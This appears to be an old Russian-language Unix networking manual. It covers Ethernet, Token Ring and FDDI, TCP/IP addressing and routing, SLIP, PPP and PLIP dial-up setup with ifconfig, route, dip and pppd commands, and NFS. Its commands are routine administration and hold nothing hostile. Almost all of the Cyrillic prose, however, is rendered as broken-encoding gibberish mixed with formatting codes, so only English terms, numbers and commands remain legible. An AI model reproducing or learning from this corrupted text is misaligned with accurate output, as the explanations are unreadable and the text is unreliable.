        &dDquit&d@
        .
                &dD쭠 : Ethernet, Token ring, FDDI&d@

                &dDEthernet&d@

        Carrier   Sense  Multiple  Access  Collision  Detect  (CSMA/CD)
        ஫  饩    ⢥  㯮      ࠧ襭
        .

        ⠭  Ethernet/2    IEEE  802.3 宦,   ࠧ
        ଠ ३


        &dDEthernet'  3 ⨯:&d@

        10baseT         ࠭஢  , ࠧꥬ RJ45
        Twisted pair    (    100).
                          楯窥     4- 堡.

        10base5           Ethernet.  2 , 15  AUI
        Thick ethernet    hosta. "ࠡ" -  祭  ᭮
                        .   - N-ନ.(L<= 500)

        10base2          Ethernet  ᨠ 50- 
        Thin ethernet    BNC ࠬ.
                        樠쭠   185 m (<=300m)
                        30 ⮢   ᥣ

        +-----+
        |Host o------------------.                     ""
        +-----+                   \
                                   \  ___
        +-----+                     \o   | Hub
        |Host o----------------------o   |             10-base-T
        +-----+                      o___|
                                   /
        +-----+                   /
        |Host o------------------'
        +-----+

        +-----+         +-----+         +-----+        " 設"
        |Host |         |Host |         |Host |
        +--+--+         +--+--+         +--+--+        Thin
         z-+---------------+---------------+-z

        +-----+         +-----+         +-----+
        |Host |         |Host |         |Host |
        +----+         +----+         +----+         ethernet
           n               n               n    ^
           n               n               n    | 50
         "ࠡ"            n               n    v
        n==M===============M===============M=======n

                &dDToken ring&d@

        ⠭  Token  ring  ࠧࠡ⠭   ⥩ IBM,  ࠪ᪨
        ᮢ  IEEE 802.5

        ⭮  -    (8  )   ⮩ shielded  unshielded
        , 祭   MultiStationAccessUnit  (MSAU)  ᪮쪮
        MSAU    ᮥ     㣮,   ⮬ ࣠
        ᪮ 饥 .

        ᪨  -    ஬  થ-⥫. ਭ訩
        થ  ᮮ饭 뢠 ᫨  ,   ᢮
        ᫨  થ "",    砥 । થ .
        ன  થ 㭨⮦ ⠭樥,    ⨢襩,  
        ᪠  . ⨬ ஢  થ. થ  
              묨.  砥  ⠭-Monitor,
          ᫥,  ⮡ થ  諨 ன , ᫨ ⠭
         த  ᬮ  㤠.

                &dDFDDI&d@

        ⭮  -    ⮢  .   ०
                ᯮ.        ஥
        ⢮   Dual   Attachment   ⠭権.  ᫨  ⠪  ⠭
        砥,  襤訩 ᪢        
        ( ࢠ),  ⮬᪨ ⨢ ஥ .
        (   ᤥ DAS  㣮 ஭  뢠)

           ___0 DAS      ___0 DAS
          /___o         /___|
         //   \\       //
        ||     |* --> ||      *
        ||     o|     ||     o*
         \\___/o DAS   \\___/| DAS
          \___/         \___/

        ᪨  -    Token ring. થ    ࠧ
          ᪮쪨  ⠭権.  㭪樨   Monitor'   믮   
        ⭨ .

                &dDᯠ Unshielded twisted pair&d@.

        1 ࠭    Tx+      | +-1---8-+ |      Rx+  3
        2     Tx-      | |       | |      Rx-  6
        3     Rx+      |  |_____|  |      Tx+  1
        4              |           |
        5 ᨭ             |           |
        6     Rx-      |___________|      Tx-  2
        7             (஢  )
        8 

         ᮥ  ஢ ,  HUB' (point-to-point)
        ᯮ "ॢ" ஢. Tx+<-->Rx+, Tx-<-->Rx-,...

          ᮢ६  ethernet-஫   ⮬᪮
        । ,       易    ⠭
        ""  -  ॢ稢.
        .
                &dD쭠 : ढ  &d@

              DTE                          DCE

        (station, router) ** ------ ** (modem) <==== ஢᪨ 

                &dD᪨ 䥩 祭:&d@

        EIA/TIA-232
        EIA/TIA-449
        V.24
        V.35
        X.21
        G.703
        EIA.530
        HSSI

                &dD᪨ ⮪ WAN 祭:&d@

        Data link encapsulation  ᨭ஭ :

        &dDDedicated WAN&d@
        SDLC        - Synchronous Data Link Control
        HDLC        - High-level Data Link Control
        LAPB        - Link Access Procedure Balanced
        PPP         - Point-to-Point Protocol

        &dDSwitched WAN&d@
        Frame Relay - 饭  HDLC ३
        X.25
        ISDN
        .
                &dD⨧ TCP/IP&d@

                                                         "Office"
          +--------+         +--------+            Network   195.1.2.0
          |        |         |        |            Netmask   255.255.255.0
          +--------+         +--------+            Broadcast 195.1.2.255
             | 195.1.2.3         | 195.1.2.10
         ----+-------------------+--------------------------+-------------
                  |195.1.2.1                                | 195.1.2.2
          +--------+                                     +--------+
        |-|GatewayD|                                     |GatewayO|
        | +--------+                                     +--------+
        | 198.8.2.1                                     SLIP : 122.5.6.9
        |                    "Developers"                :
        | +-------+    Network   198.8.2.0                   :
        |-|       |    Netmask   255.255.255.0             Modem
        | +-------+    Broadcast 198.8.2.255               . . .
        | 198.8.2.2
        |                                                  Modem
        | +-------+                                        . . .
        |-|       |                                          :
        | +-------+                                      SLIP: 122.5.6.10
        | 198.8.2.3                                     +--------+
                                                        |GatewayF|
                                               122.5.6.3+----+---+
           --------------------------------------------------+--------
             | 122.5.6.1         | 122.5.6.2             "Filial"
          +--------+         +--------+            Network   122.5.6.0
          |        |         |        |            Netmask   255.255.255.192
          +--------+         +--------+            Broadcast 122.5.6.63

                   ᪨ ⠡ ⨧樨

         Host        IP       198.8.2.2
         "Developers"   Net:     198.8.2.0 -- 198.8.2.255
        198.8.2.0           Default: 198.8.2.1

         "GatewayD"     ifconfig eth0 198.8.2.1
                            ifconfig eth1 195.1.2.1
                                route add net 198.8.2.0 198.8.2.1  0
                                route add net 195.1.2.0 195.1.2.1  0
                                route add       default 195.1.2.2  1

         "GatewayO"     ifconfig eth0 195.1.2.2
                            ifconfig sl0 122.5.6.9 pointopoint 122.5.6.10
                                route add net 195.1.2.0 195.1.2.2  0
                                route add net 198.8.2.0 195.1.2.1  1
                                route add      default 122.5.6.10  1

         Host        IP       195.1.2.3
         "Office"       Net:     195.1.2.0 -- 195.1.2.255
        195.1.2.0           Default: 195.1.2.2
                                route add net 198.8.2.0 195.1.2.1  1
        .
                &dD TCP/IP&d@

        ⮪  TCP/IP (Transmission Control Protocol/Internet Proto-
        col)      ࠭ᯮ   ⥢   ⮪  
        UNIX'.   TCP/IP  㪠뢠:

        IP- ࠢ⥫
        IP- ⥫
               (᪨ -  ਪ ணࠬ,
                         ன   ।祭)

        TCP/IP-    ᮡ:   ᯮᮡ
        ""   ,  ன  ᪢ ࠧத 
        , ᯮ ࠧࠧ 䨧᪨ ⥫. "⨧-
        " IP-  (ॡ    ॡ㥬 ) ⢫
        " ஢ 砫" , 室騥  TCP/IP .

                &dDᥬୠ  Internet&d@.

          , ন騥 ⮪ TCP/IP  -
        ࠧ  祭       ,   ࠧ   
        ᥬ    TCP/IP  "Internet".      "Internet":
        100000 IP-ᮢ  .  騩  ( 1994 )
         Internet' 祭 :

              20,000  ⥩
           4,000,000  ஢
          35,000,000  짮⥫

                &dD1. IP-&d@.

         設    ᢮ 㭨 IP-.

        IP- - 32-⭮ ᫮, ஥ ਭ 뢠  ᬥ-
        蠭 16-筮-筮 ଠ,   4 ᥫ, ࠧ
        窠. ਬ:

          193.124.148.73
          128.8.2.1

         筮 ᫮  ।⠢   ᠬ    
        ⭠  ࠧ鸞.    ਭ  祭  0 
        255. ⨬ ⠪ ⭠筠 :

          c1.7c.94.49   0xC17C9449
          80.08.02.01   0x80080201

         ᫮ ४⭮ ᪮䨣७ 쭮 ,   ᫮-
          祭    ᥬ୮  Internet, ⮪ TCP/IP
         襩 ⥢ ணࠬ ࠡ    ஬
         ,  ᫨   室  襩 쭮 .

        쭮 IP-ᮢ  ন  .    뤠
        業ࠫ.  ,   ⨬ , 뢠
        NIC - Network Informational Center. ய᪮  ⤥  NIC
        ᯮ    ठ.     IP-.   NIC
        㦭 ᫠ - ⠭ ࠧ,  १  -
        ஥  ६     "" IP-ᮢ, 뤥 
        襩 . E-mail ,  ஬ 㦭 ᫠ :

          hostmaster@sri-nic.net

        ᪮᪨ 㧥, ࠧ騩 IP-,  ⠪   *.ru
        㯥  

          ፈ         xSU/RU NetworkInformationalCenter
          ncc@ripn.net            ncc@ussr.eu.net
          www.ripn.net/nic/ripn-docs/

                &dDIP-, .&d@

        IP- -  "窠"    2**n  IP-ᮢ,   . 
        訩 - १ࢨ.   뢠 ᮬ IP-.
        ਬ 128.8.0.0,  193.125.149.64 .   ᯮ-
        ,  ॡ  㪠    楫, ਬ, 
         ⨧  ⮩ .

        ᪠  - 䠪᪨ ࠧ ,  ᫮ ᮢ  -
        .   ⢮ ⮢  ᪥  (ਬ 8
        - 256 ᮢ, 6  - 64 ),  ⮢ ᪮ 

           b'111...11100...00'
                 ᫮^^   ^^ ⮢

         ⮦ ਭ 뢠    筮-⭮ ,
        ਬ:

          255.255.255.192 - ᪠  64 
          255.255.255.0   - ᪠  256 ᮢ
          255.255.0.0     - ᪠  64Kb ᮢ

        Broadcast       - ᠬ 訩   . ࢨ-
          । ᮮ饭 ⨯ "-ᥬ-ᥬ" ( ).

          128.8.255.255

           :

         A.    "஬" .
                  ⥩   ஬⪥: 1 - 126.
                ᪠ : 255.0.0.0
                ন  16387064 ᮢ (256*256*256).
                 ⮢    : 125.*.*.*

         B.  "।" .

                  ⥩   ஬⪥: 128.0 - 191.255
                ᪠ : 255.255.0.0
                ন  64516 ᮢ (256*256).
                 ⮢    : 136.12.*.*

         C.  "쪨" .

                 ⥩   ࢠ: 192.0.0 - 255.254.255
                ᪠ : 255.255.255.0
                ন 254 .
                 ⮢    : 195.136.12.*

         D. "Multicast-" (㯯 ) ( ⠤ ࠧࠡ⪨)
                 ⥩   ࢠ: 224-239

         E. "ᯥਬ⠫"            240-250

         0, 127, 255 - ᯥ樠    IP  ᯮ

                &dD2.1. Private Address Space&d@

             ᫨         㤥  ᯮ짮  ⮫쪮  
        ࣠樨,  設    ।⢥ 室 
        ୥,       " ⮫".

         㬥 RFC 1597 "Address Allocation for Private Internets"
        March 1994:

        The  Internet  Assigned Numbers Authority (IANA) १ࢨ஢
          IP ᮢ  ᯮ짮  ७ :

                10.0.0.0        -   10.255.255.255      A
                172.16.0.0      -   172.31.255.255      B
                192.168.0.0     -   192.168.255.255     C

          設⢠  ISP        ⨧, 
         (ᠬ) ᭮.

                &dD2. 塞 IP-   ethernet' ஫&d@.

        䨣   UNIX-設 筮   ⮬᪨
         砫쭮 㧪.     ⠪:

        塞,        IP-  198.8.2.1         
        ethernet'    elx70 .  砥  Motorol' ⠪ -
        뢠 ethernet, 騩   ⥬   - 
         ஬.

           ifconfig  e1x70  198.8.2.1  up

        塞,   ன ஫      m3760  (
        )  IP- 198.8.3.1

           ifconfig  m3760  198.8.3.1  up

                &dD3. ⨧ 쭮 &d@.

        塞,  設  ᠬ  198.8.2.* *=1,...,254 -
          襬 孥 쭮 ᥣ  ethernet,  ࠧ-
            , १ 孨 ethernet, ᮮ⢥-
        騩 襬  198.8.2.1 - .. - elx70.   設, -
        騬   198.8.3.* - १  ethernet -  ᮬ
        198.8.3.1

           route add  net  198.8.2.0  198.8.2.1 netmask 255.255.255.0 0
           route add  net  198.8.3.0  198.8.3.1 netmask 255.255.255.0 0

        ⥢   IP-ᮢ,     襩 -
         , ९ࠢ  設   ⥢ ᮬ 198.8.2.107
        -     ᠬ 㤥 ࠧ,      ,   
        ⠢    ⮢.

           route add default      198.8.2.107  1

        ᫥ 㬥  route - ਪ.    -
        ஢  "ﭨ"  "⮣" gateway',  "᪮쪮 -
        ᠤ   gateway'ﬨ ਤ ᤥ IP-  ண
        㤠. ᪮ IP- 198.8.2.1    198.8.3.1 ᮮ⢥
        訬 ᮡ⢥ ⠬ ethernet,   ਪ (ﭨ) 
         0. 198.8.2.107 - 㣠 設 - "ﭨ  " 1.

        ਬ,    稫

          netstat -rn             # ᯥ ⠡ ⨧樨

          ping -s fedfond         # "஧" 㧫 
          ping -s fedfond-gate
          ping -s 198.8.2.107

          netstat  -i        # ⨪  ࠡ ⥢ 䥩ᮢ

        ⠫  ᭨,  ⠪ lo0  localhost.   ⠪ -
        뢠 Loop-back  䥩.     ⥢ 䥩
        쭮,  室  ࠭ 襣 . Loop-back -
        䥩  ᮮ⢥   १ࢨ஢       IP-
        127.0.0.1

                &dD4.&d@ 䨣஢ TCP/IP  ஫ 922.

        ਤ㬠  ⥢  襣 .   訫, 
             뢠  fedfond,      IP-adres
        198.8.2.1  .      뢠,    ஫  ether
        net-஫,        ᢮  
        IP-.    蠥,    ன    ethernet  㤥 
        IP- 198.8.3.1,   ⮬       
        祫᪮  ,  ਬ  "fedfond-gate".

        :  ᫨    ⥫쭮  ᬮ  ᮤঠ 䠩
        /etc/inet/rc.inet, ᮡ ப 

            /usr/sbin/ifconfig e1x70 `uname -n`-gate $net_mask up

          ,    ன  ethernet    뢠  
        fedfond-gate ,   .

        ⠪, ⮡ ⠭ ⥢   IP- 襣 host'

        1.   sysadm  ⠭  "nodename" . :  
        nodename ( 㧫)   systemname ( 樮 ⥬)

        2.   䠩 /etc/hosts ⠢ 窨, ਢ뢠騥 IP-
          fedfond , !, fedfond-gate

        198.8.2.1    fedfond
        198.8.3.1    fedfond-gate

        3. १㧨.


                &dD䨣஢ 2- ethernet  Linux&d@

        - ethernet 䨣  ࠧ - ᫮ ,
              ⨬   㢨   ன.   ਬ      
        /etc/rc.d/rc.local ⠢ ⠪ :

        # 㧪 ࠢ  ᪨ 稯 2140
        insmod /lib/modules/2.0.18/de4x5.o io=0
        # 뤥 IP # ᪨ ⨭   
        ifconfig eth1  10.232.172.1
        route add -net 10.232.172.0 gw 10.232.172.1

        ᫨   ࠢ   2-   ethernet'   ஢    ,  
        ⨢஢   ⠪:  䠩 /etc/lilo.conf 

        append="ether=0,0,eth0 ether=0,0,eth1"    # ᫨ ࠡ⠥ autoprobe
        #  砥   ࠬ஢ 
        append="ether=10,0x300,0xe800,eth0 ether=12,0x280,eth1"

                &dD 㧭 hardware  ethernet' &d@

        ᫨   設   ଠ쭮   ᪮䨣஢     TCP/IP,  
        筮      ஠, ⥬ arp -a

            ping [-s] 123.456.789.255
            arp -a

          ᥣ    ࠧ  設,    ᬮ  ,
        ⠭  ᠬ .

        Linux:  ⠥  㧪 .
               ᫨  ᪮䨣஢,   ᮮ頥 
               ifconfig

        Sun:    ⠥ boot-஬  
               Hardware  ethernet'  Sun  ந쭮 
               室  boot-,   ifconfig
               ஡ .  Sun NVRAM & hostid FAQ

        HP-UX:   㧭  lanscan.  ࠡ ⠭
                 㧭    boot- PDC.

                &dD5. ਪ 䥩&d@.

        ⮡   ணࠬ, ࠡ騥  , ணࠬ 
        짮 - ஬ ⥬ 맮  㭪権. 
        BSD-Unix'      襫 稢訩  ୮ API
        Berkly-sockets. AT&T System V த TLI  (Transport  Level
        Interface) - ஥  孮 "⮪" (streams).

        SVR4   ন      ,      㣮.  প  ᮪⮢
        ᯥ稢  inetd (Internet Super Server), প TLI
        ᯥ稢  listen (Network Listener).

                &dD6.&d@ 䨣 TLI

         listen  ࠢ  ᯥ樠쭮   ,  
        室   IP-  襣 host'.   "
        ࠧ  ". IP-    ன ⭠筮 -
        .

        ⠪, ᫨  IP- 198.8.2.1   198.8.3.1,  ⭠-
        筠  C6080201, C6080301 ,    ६
        믮  :

        nlsadmin -i tcp
        nlsadmin -l  '\x00020acec60802010000000000000000' tcp
        nlsadmin -l  '\x00020acec60803010000000000000000' tcp
                    "襡  ^^^^^^^^⭠ 㫥
                    ᫮ 0ac"    |
                                   |
                      뢠  䠪᪨ IP-


                &dD7.&d@ 䨣 BSD ᮪⮢.

           ⮣  祣      .  祬,    쭥襬,
        ,  ਤ ⨬ . ன inetd  
        䠩:

        /etc/inetd.conf       ⥢  -->  㦨饩
                                ࢨ                ணࠬ

        /etc/services          -->  ⥢ ࢨ

        ﭨ ⥪ ᮥ  ᬮ :

              netstat    (     netstat -ta - ᫨   Linux)

                &dD ᪮쪮 ⮪&d@

        ARP - Address Resolution Protocol
        ⮪    ஢. ন   ஢  /
        ࠢ ⥢  .    ।,    ethernet'
             設,  ᫨  ⥭  IP-. ⠥ 
        ਭ樯  broadcst:  ",  ,  ,  :   IP-⠪_    -
        ⧮",    뢠.

          arp -a  # ᯥ   IP-   eth-

        RARP - Reverse Address Resolution Protocol.
         饭 ᪮  ⮢,     IP-. 
        ࢥ ᪠    rarpd.       䠩-⠡:
        ether-  ->  IP-.   -broadcast' ᪮
          :  ", ,,,   eth- ⠪-.  
         ?" rarpd ᮮ頥 ,    IP (  㣮 -
         bootparamd ᮮ頥  ⥫ ଠ -  
         ᢮ ୥ 䠩 ⥬, ਬ).

          ଠ樥  ⨭ (⨧樨)  ᯮ
        ⮪ RIP, BGP, EGP, ICMP.

        RIP - Routing Information Protocol
        ७ ⮪  ⨭ (  ⮭ ⥬). 
        ন  routed / gated.

        BGP - Border Gateway Protocol
        EGP - External Gateway Protocol
        ⨭    ⮭묨 ⥬.    ন  
        gated

        ICMP - Internet Control Message Protocol
        ।  ᮮ饭      訡    TCP/IP  (ਬ  "port
        unreachable"), ᯮ ணࠬ ping, traceroute, 
        । ᮮ饭  樮쭮 ⨭ ⨯ "redirect":
        "-  ࠢ  १ ,    -
         ⪨ ".

              ଠ樥     ᨬ᪨    host',
        짮⥫,  㯠   짮⥫      .   ᯮ
        ⮪ DNS  NIS/YP

        DNS - Domain Name System.
         ᯮ짮 ᨬ᪨  ⮢  -
         IP-஢,  ࣠뢠 "ॢﭭ"   -
            (⨯ pc101.fedfond.msk.su  ,  ftp.sco.com  
        ..) ࢥ DNS - ,  ஬ 饭  bind,   -
          ⮢   ().  ⠫   -
        । IP-   ᯮ   㭪樨
        ⥪ "resolver"  - gethostbyname, gethostbyaddr,  
            襬 ࢥ DNS,     
        IP- 設    (domain-name).

        NIS/YP  -  Network  Information  System  (ᯮ  ⠪  
        , 襤襥   Sun  -  Yellow  Pages).  
        ࠭      NIS-ࢥ  (  ypserv) ଠ,
          ᥩ 쭮 :   ⮢,      ࠢ
        짮⥫,   㯯   짮⥫,      譨
        ⠫, ᨬ᪨  ⮢  ..  ..

         ࠧ  ⫨ DNS  NIS/YP: DNS - ⥬ "쭠" -
            ࠬ ᥣ ୥,  ᮤন   
        ⮢. NIS/YP -  ᮤন    ⮢ ᪮쪮 㣨
        ଠ樮 ,   ন ⮫쪮  ࠬ 
         ࣠樨.

                &dD䨣஢ TCP/IP  ᪮ &d@

                 設⢥  unix-   譠 ⨫
         ᪮䨣஢ ᭮ ࠬ : 
        , IP   ࠬ , DNS ࢥ

         HP/UX:           /etc/set_parms initial
         Linux Slackware: net_config
         Solaris:         /etc/???

        .
                &dD࣠ TCP/IP  ᫥⥫ &d@

             ⮪  TCP/IP    易⥫쭮  ॡ   ether
        net' .  ⨬   㣨  䨧᪨  ⥫,
        ਬ:

          ᫥⥫   祭 १  RS-232,

             祭 १ ࠫ ,
           ᪮ ᨭ஭  (ਬ 485, V.435).

          ᯥ稢 ᯥ樠஢묨 ॠﬨ
        ⮪ IP:

              祭 १ RS-232
        SLIP  - Serial  Line IP - ᠬ ࢠ ॠ  TCP/IP  "
                ", ப ᯮ   .
        CSLIP - Compressed  SLIP - 䨪 ⮪ SLIP.
                 ࣠   IP-⮢. : 
                 ᠬ !  ⠭⭮ IP- IP- 
                㦥  ଠ樥    浪  40  .  
                CSLIP'   㦨  3 .  -
                 讣 ᫠  ⮢ 砥  ⢥-
                 먣  ᪮. ᫨  㯭,  먣-
                  㤥 .
        PPP   - Point-to-Point Protocol
                 ,  ᮢ६ ॠ TCP " ". -
                 ⠭  SVR4.  㭨ᠫ.  -
                 ⠪  ࣠  ।   ᫥⥫쭮
                 ⮪ IPX. ন ० 樨  slip
                 cslip -  ᮢ⨬.

              祭 १ Centronix-ࠫ 
        PLIP  - Parallel  Line IP -  ᪠ - ⨪.
                    뢠.  쬠 ࠭ .  
                 TCP/IP  SCSI-設 -  ,  - ⨪.
                , RFC 1149 뢠 । ⮢ IP 㡨
                ⮩.

                &dDTCP/IP  ⭨ 裡&d@.

        ᪨   㤭⥩   ࣠   裡  TCP/IP  १
        ⭨ ⥭  -  룫廊 ⠪,    
        裡    ⥫䮭.  孮  ਬ୮ ᫥:  ⥭
        室  ᮪  ᨣ,  ᨣ  ண   ᪢
        ⭨  ,     室 ⮪   ଠ
        High Speed Interface -           १
        ᪮⭮  ,  ਬ  V.435  (᪨      ᥡ
        ਡ⥫쭮   ᫥⥫ ),   ஭
          -   ⮪ PPP. ⢥,  "⮬ "
        ।   奬 祭.

        +-------------------+        +-----------------+           (
        |     ⮪  |  |  ⭨| ᨣ   ( ><
        |Host   PPP    V.435|========|V.435       | ~~~~~~    (
        |    -TCP/IP->      |        |                 | ~~~~~~    /\
        +-------------------+        +-----------------+        ⥭

             ᪮  ⮬,     
        ᯥ樠஢ ன  -  "",    ண
        "" ⮪ TCP/IP (PPP, Ether),    Ethernet,
         High Speed Interface. 筮     ⠪  楫
         "Cisco router", "NetBlaser".

        +-------------------+        +-----------------+           (
        |     ⮪  |  |  ⭨| ᨣ   ( ><
        |Router   PPP  V.435|========|V.435       | ~~~~~~    (
        |    -TCP/IP->      |        |                 | ~~~~~~    /\
        +-------+-----------+        +-----------------+        ⥭
                |
         ... -Ethernet------ ...


                &dD,   &d@.

          ࠧ    ⨯  ⢠  -
        , ᯮ㥬 ,  ⨯  ,      
        ⪭.

        ࠪ᪨ ࠭祭  ᪮:

            V32bis/V42  த᪮ ⥫-
        ,  㣮த  ""  16800 /ᥪ. 쭮 ~
        12000 /.  稥  ஥  ⮪ V42 ᦠ 
          ॠ (७ 㦥   , 
          ⠬)  ᪮ । ᦠ   2-4  ࠧ,
        ..  38400-57600 /

        ᨬ쭠     ᪮     ਥ/।          
        ᫥⥫쭮    RS-232           
        奬 UART (Universal Asyncronous Receiver-Transmitter)

          16450  - 19200 bit/s.
          16550  - 19200 bit/s. (⢨ 㪮 "A" - ⠫쭮)
          16550A - 38400 bit/s.
          16550A  115200 bit/s. (᫨ 樮 ⥬ "ﭥ")
                              ( ⭮ - Solaris, Unixware  - ,
                               FreeBSD, Netblaser, Cisco router - )

            ⮣ ॠ쭠 ᪮ 뫪 :

        䮭/"",          V32bis/V42 - 19200  /.
        뤥 2- ஢,  V32bis/V42 - 38400  /.
        뤥 4- ஢,  RAID,????? - 115200 /.
        ᪠ 4- ஢<=4,  ?????      1 /.
        ⮢            <=?,  ?????     ?? 2 /.
        ⥭. ⭨ .  V.435. PPP 64, 128, 256 /

                &dD * 䨣஢ SLIP/CSLIP * &d@.

          ⮣  ᮥ塞    host'  쬮   १
        ᫥⥫ ,  ᪠ 䮭  ணࠬ  slattach,
        ॢ           ०  ।  ⮪  TCP/IP.
        ⢥,  SLIP  ᪠      殢,  祬
        "".

                SVR4, slip

        slattach /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 19200 &
          # ॢ  /dev/comport  ० "slip"  ᪮ 19200
          #  ⠭ IP-  slip-䥩

                SVR4, cslip

        slattach -c /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 38400 &
          # ॢ  /dev/comport  ० "Compressed-slip"
          #  ᪮ 38400
          #  ⠭ IP-  C-slip-䥩

        slattach -e /dev/comport  NASH-IP-ADRES  IH-IP-ADRES 38400 &
          # ॢ   ० slip  cslip,
          # ⮬᪨ ।,   ⮪ 饭
          # " ⮬ ",  ⠭  ᢮ ஭ ⠪ 


                Linux, SLIP.


         SLIP  Linux 裂  DIP,  䨣樮 䠩:
        /usr/sbin/dip    config-file-name

        # אַ  쬮 
        main:
          get $local  193.232.171.22
          get $remote 193.232.171.19
          port /dev/modem
          speed 9600
          mode SLIP
          exit

        # slip  ⥫䮭 

               main:
                 get $local   uwalt.hacktic.nl
                 get $remote xs4all.hacktic.nl
                 port /dev/modem
                 speed 38400
                 send ATQ0V1E1X4\r
                 wait OK 2
                 dial p555-1234
               login:
                 sleep 2
                 wait ogin: 20
                 send MYLOGIN\n
                 wait ssword: 20
                 send MYPASSWD\n
                 # We are now logged in.
                 wait SOMETEXT 15
                 get $mtu 296
                 # Ensure "route add -net default xs4all.hacktic.nl" will be done
                 default
                 mode SLIP



              ᨬ 䠩   dip'

                Linux, CSLIP.

        # ᯥࢠ ॢ   ० "cslip"
        slattach -p cslip /dev/modem &
        ifconfig cs0 NASH-IP-ADRES  pointopoint  IH-IP-ADRES
        route add IH-IP-ADRES
        route add default gw IH-IP-ADRES

                Linux, PLIP.

        ifconfig plip1 NASH-IP-ADRES  pointopoint  IH-IP-ADRES
        route add IH-IP-ADRES
        route add default gw IH-IP-ADRES

                ⠭ SLIP  ⥫䮭  १ .

         ⠢   ᮧ  "⥬" .
        ᫥  ⮣  砥 ஧筮 ᮥ 
        ᫥⥫묨 ⠬,  ஬  ""
        SLIP, . ।騥 㭪.

          ( stty 19200 ; echo atdp9120123 ) < /dev/modem > /dev/modem
          sleep 55

        뤠    atdp -  ⥫䮭 ,  
        55 ᥪ㭤. ,   墠 ⮣ ६, ⮡  "-
        ".

                ⠭ 裡  砥 뢠.

          㧭,   ࢠ? Ping' ""  .
        ०,  祬              ,
        室   ""  slip    襣  ᫥⥫쭮  
        (᪮      ०   slip      㭪樮       
        ᫥⥫  ,    । TCP/IP).  
        slip?  slattach.

        while true   #  筮 横
        do sleep 60  #  

          if  ping 107.65.8.254 | grep 'is alive' ;
            then   echo Ok > /dev/null   # ᫨ IH-IP-ADRES 뢠
            else
                 #  㡠 slattach
                 slip_pid=`ps -ef | grep slattach | cut -c1-6`
                 kill -9 $slip_pid
                 # ࠥ ⠬譨 ⥫䮭 
                (stty 19200; echo atdp9120123) < /dev/modem > /dev/modem
                 sleep 55
                 #  slattach
                 slattach -e /dev/modem  195.8.2.3  107.65.8.254 19200 &
          fi
        done

                &dD * PPP * &d@

                &dDMOTOROLA: PPP&d@

        /etc/inet/ppphosts -  ppp-

             ࠢ    ᮥ  ⨬ ⠬ 뢠
        ⠭묨 ᠭﬨ  UUCP

             ,        প    ppp        
        䨣樮 䠩 /etc/strcf

             ,         㧪 ᪠  slink

                ।⢥   ppp-ᮥ   ⨢  
        饭 (" ॡ").

            ஡ ᪠ 

            man ppp
            man pppd
            man ppphosts

                &dDLinux&d@

                    pppd.      pppd  室
        窠 chat,    㬥    pppd    IP-,
        ⥫䮭  ,  樠  ,  chat-  
        設 ஢.

        ਬ: (  )    IP=123.456.789.12

        pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
                      atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
            crtscts defaultroute modem noipdefault -detach mru 1500 \
            123.456.789.12:194.85.105.1 /dev/modem 38400

        ਬ:    ࢥ஬

        pppd connect 'chat -v ABORT "NO DIALTONE" ABORT BUSY "" ATZ OK \
                      atdp9386933 Username: ppmoshkow Passwd: mypasswd mode ;' \
            crtscts defaultroute modem noipdefault -detach mru 1500 \
            0.0.0.0: /dev/modem 38400

                &dDWindows 95&d@

        ⠢  ⥫     MS Plus - "Network dialup
        script editor"

         १  ਯ:

        proc main

           waitfor "login:" until 5
           transmit $USERID, raw
           transmit "^M"

           waitfor "Password:"
           transmit "password^M"

           waitfor "modem" until 5
        endproc


          쭮 ଥ  logname, password  뢠, 
         ࠢ  뢠   १᪥.

                &dDHP-UX 10.20&d@

         ࠡ ⠭  HP-UX/10.20 த ppp . 쪮 slip.
         ftp free-  iij-ppp
        http://www.verinet.com/~barthold/ftp/iij-ppp0.94beta2.hpux10.tar.gz
        㬥  䨣樨  ⠫樨 ਫ  .

          ࢥ    ࠡ ⠭ SLIP  "ppl"  祭 
        ⠭  "LAN/9000 Link" product.
        .
                &dD   NFS&d@
                    - Network File System.

        ⠭⭮  ⥢ 䠩 ⥬  UNIX'  NFS.
         Unix-設 㬥 ஢  ⮪ NFS  㤠
        䠩  ⥬  ᯮ짮   ᢮ ᮡ⢥,  ⠪
          뤥 ᢮ ⠫  㣨 設. 룫廊  
        ਬ୮ ⠪:

           mount -F nfs udalennaq.mashina:/katalog_tam  /katalog

        , ᫨   BSD  Linux

           mount -o rsize=8192,wsize=8192 mashina:/katalog_tam  /katalog

           ls -al /katalog

         NFS  - ࠧࠡ⠭  Unix',  ॠ
        NFS  MSDOS-᪨ PC.    ਭ  뢠  ᢮
          PC/NFS (    "PC-NFS" -  ॠ
        PC/NFS   "Sun Select"). .. PC',   ஬  饭
        NFS    PC,    ஢    ⢥  ⥢  ᪮
        ⠫ Unix'᪮ 設,     뤥    NFS.  -
        ᪨,  PC/NFS    PC   ᠬ ,  
        Netware - 㤠 ⥢   㤠  ⥢  ਭ.
             ⮬,  Unix-host,   NFS-
        ᥡ,  ﭨ   ᢮ ᮡ⢥묨 砬,  
        ࢥ   Netware   祬  ஬  㦨  ᢮  ⮢,
        ࠦ             ethernet',      
        ᯮᮡ,    ࠡ⠥ ॥ ࠧ  1.5-2.   
        NFS- १ 浪 100 Kb ⨢ ,   ६
         Netwar' - 浪 50.

                &dD2.&d@ 業 ᪮ ⮢ PC/NFS ࠧ ந-
        ⥫: 486dx2/66,  wd8013 16 bit:

        :         ⥭ Kb/ᥪ   
              NFS for PC
        PC-NFS 4.0      220             120
        PC-NFS 5.0(**)  220             120
        Pathway         350             170
        PCTCP 3.0       350             200
        TSOFT (*)       200             100
        XFS   (*)       500              50
        Chameleon NFS(**) 2-   १⠬ ⮢
              Unix for PC
        Linux/NFS(*)    400             350
        FreeBSD/NFS(*)  900             300
        Unixware/NFS    400             300
              稥
        Netware 3.11    500             600
        NW Lite         400             500
        WFW (Samba)     150             150
        Lantastic       ?               ?

                (*)  - ᫮-ᯫ  ᯫ 
                (**) - 饭  業஢ ஢

         ࠢ: ᪮ ⥭/ NFS  
         SUN SPARCstation / IBM/RS6000   900/400 Kb/ᥪ

                &dD3.  ⮣, ⮡ Unix-設 㦨 NFS ࢥ஬&d@

               饭 ᫥騥 :

        rpc.portmap     -  ⮢ RPC (Remote Procedure Call)
                          (᪮ NFS ᯮ RPC)
                          ( Motorole  ॡ.)

        mountd          - 㦨  ஢ ( 蠥 -
                          ࠧ/  ࠧ)

